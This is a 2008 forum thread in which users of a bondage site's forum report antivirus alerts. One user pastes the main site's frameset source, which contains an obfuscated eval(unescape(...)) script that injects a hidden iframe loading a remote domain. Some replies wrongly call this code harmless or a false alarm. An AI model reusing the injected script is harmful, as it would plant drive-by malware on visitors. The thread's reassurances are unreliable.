Virus warning!

Post by **anna** » 17 Aug 2008, 20:59

I have received a warning from a member here that his/her virus program have warned about a virus somewhere on the boundanna.com or .net sites. (Possibly also this forum.) The threat was called Trojan-Downloader.HTML.IFrame.iu.

The exact page that triggered the warning is unknown for me at this time but I have done some checking around and found nothing fishy. Warnings like this is often false alarm but should not be neglected. Please always use an up to date operating system, an up to date virus protection and a good firewall to protect yourself while connected. Also consider using an alternative web browser if you are using Explorer as it seems this browser is a favorite target.

I will continue to search for the cause of this warning but please let me know if anyone of you notices anything fishy.

Grinser · Post by **Grinser** » 17 Aug 2008, 23:53

I agree, I keep getting warnings from my antivirus-program every time I refresh the forum index.

To be specific, the threads are JS/Psyme and JS/Downloader-Agent, located in my opera cache. Since I got the message three times in a row after refreshing this page, it seems the virus is creeping around somehwere in here.

cdinbonds · Post by **cdinbonds** » 18 Aug 2008, 00:36

I've gotten the warning when I log in (automatically) to the forum. First time I wasn't sure it was coming from here though, but when it happened again at log in, I was pretty sure. I was about to send a note about it when I saw this thread.

Post by **bound_jenny** » 18 Aug 2008, 02:52

I got a warning about a blocked address from my anti-threat package every time I go to or refresh the main forum page.

The address is search-you-need.com/fram.js and the IP is 58.65.239.126:80.

A quick search on my favorite search engine brings up "Nuded Britney Spears" that is 100% checked by antivirus (yeah, right) and an untitled download link. Sounds like a malware site to me.

So far I don't seem to get it from any of the subforums or threads. I'll keep an eye out for anything else suspicious.

Jenny.

teh-ah-tim-eh · Post by **teh-ah-tim-eh** » 18 Aug 2008, 03:34

hmm...mine seems to find none of these :S

And i havn't hd any attempts on favorates or anything. I'll keep a look out though

Post by **anna** » 18 Aug 2008, 17:09

Thank you all for the help locating this issue. It have been fixed now and I sincerely hope that no one have been infected by anything because of this.

Anna

cdinbonds · Post by **cdinbonds** » 18 Aug 2008, 18:44

Good job Anna, thanks!

Fesselfan · Post by **Fesselfan** » 19 Aug 2008, 09:36

IFrames in general are embedded frames within html code. The internet explorer is well known for bugs with handling them, allowing the execution of program code from a remote site.

So, if (on any page) your antivirus pops a warning about that, better block that link.

And it doesn't need to have something to do with the actual site...it can be a commercial banner, the hosters page or zillions of other locations.

Cheers

FF

Ilse · Post by **Ilse** » 02 Nov 2008, 21:03

www.boundanna.net is blocked by my scanner with saying
VBS:Malware-gen

Post by **bound_jenny** » 03 Nov 2008, 02:22

Nothing here. My protection suite has no complaint.

Jenny.

Ilse · Post by **Ilse** » 03 Nov 2008, 09:48

I've asked a friend who does ICT thingies to look at it since I'm always really scared about virus

He said there is a suspicious encrypted iframe in http://www.boundanna.net/html/frameset.html and then he did a scan on that file with 36 different scanners, 13 reported a virus alert on it.

Post by **bound_jenny** » 03 Nov 2008, 10:58

I just took a look at the source of both frames of the main page and they're both only plain HTML - totally harmless.

If only 13 of the 36 reported virus, it could be a false alarm, unless it's another page you haven't yet specified (like one of the pages accessible from the left-hand frame).

Jenny.
Forum Moderator.

Ilse · Post by **Ilse** » 03 Nov 2008, 11:04

The block with the % things in it? It isn't just text

<HTML>
<HEAD>
<META NAME="GENERATOR" CONTENT="Adobe PageMill 3.0 Win">
<TITLE>boundanna.com</TITLE>
<LINK REL="shortcut icon" HREF="../favicon.ico">
<LINK REL="meta" HREF="http://www.boundanna.com/labels.rdf" TYPE="application/rdf+xml" TITLE="ICRA labels" /><script type="text/javascript">
eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%5C%75%30%30%33%63%5C%75%30%30%36%39%5C%75%30%30%36%36%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%64%5C%75%30%30%36%35%5C%75%30%30%32%30%5C%75%30%30%37%33%5C%75%30%30%37%32%5C%75%30%30%36%33%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%36%38%5C%75%30%30%37%34%5C%75%30%30%37%34%5C%75%30%30%37%30%5C%75%30%30%33%61%5C%75%30%30%32%66%5C%75%30%30%32%66%5C%75%30%30%36%66%5C%75%30%30%37%32%5C%75%30%30%36%35%5C%75%30%30%36%65%5C%75%30%30%37%34%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%36%5C%75%30%30%36%36%5C%75%30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%36%65%5C%75%30%30%32%66%5C%75%30%30%36%39%5C%75%30%30%36%65%5C%75%30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%36%37%5C%75%30%30%36%39%5C%75%30%30%33%66%5C%75%30%30%33%35%5C%75%30%30%32%32%5C%75%30%30%32%30%5C%75%30%30%37%37%5C%75%30%30%36%39%5C%75%30%30%36%34%5C%75%30%30%37%34%5C%75%30%30%36%38%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%33%30%5C%75%30%30%32%32%5C%75%30%30%32%30%5C%75%30%30%36%38%5C%75%30%30%36%35%5C%75%30%30%36%39%5C%75%30%30%36%37%5C%75%30%30%36%38%5C%75%30%30%37%34%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%33%30%5C%75%30%30%32%32%5C%75%30%30%32%30%5C%75%30%30%37%33%5C%75%30%30%37%34%5C%75%30%30%37%39%5C%75%30%30%36%63%5C%75%30%30%36%35%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%36%34%5C%75%30%30%36%39%5C%75%30%30%37%33%5C%75%30%30%37%30%5C%75%30%30%36%63%5C%75%30%30%36%31%5C%75%30%30%37%39%5C%75%30%30%33%61%5C%75%30%30%36%65%5C%75%30%30%36%66%5C%75%30%30%36%65%5C%75%30%30%36%35%5C%75%30%30%32%32%5C%75%30%30%33%65%5C%75%30%30%33%63%5C%75%30%30%32%66%5C%75%30%30%36%39%5C%75%30%30%36%36%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%64%5C%75%30%30%36%35%5C%75%30%30%33%65%27%29%3B"));
</script>
</HEAD>
<FRAMESET FRAMEBORDER=1 COLS="150,38%">
<FRAME SRC="en_navigation.html" NAME="navigation" NORESIZE>
<FRAME SRC="en_main.html" NAME="contents" NORESIZE>
<NOFRAMES>
<BODY>
Viewing this page requires a browser capable of displaying frames.
</BODY>
</NOFRAMES>
</FRAMESET>
</HTML>

Post by **ponylady** » 03 Nov 2008, 16:10

Ilse wrote:I've asked a friend who does ICT thingies to look at it since I'm always really scared about virus
He said there is a suspicious encrypted iframe in http://www.boundanna.net/html/frameset.html and then he did a scan on that file with 36 different scanners, 13 reported a virus alert on it.

aaah, i see. you are referring to the mainsite, not the board.

if you are afraid of that iframe, use this direct link to the board itself in the future, instead off coming in over the main page:

http://forum.boundanna.net/forum/index.php

btw: this doesn't look encrypted to me, but more like ASCII for glyphs.
meaning %40% stands for "@" for example

hope that helps.

a reason for the virusalerts could be that the heuristic could have been set
to the highest level. in this setting most AV's are very sensitive to "botched" code.

Post by **bound_jenny** » 03 Nov 2008, 16:18

I saved the page to disk and scanned it locally - no alarms.

Jenny.

www.BoundAnna.com

Virus warning!

Virus warning!

The hacking.

virus warning

Re: virus warning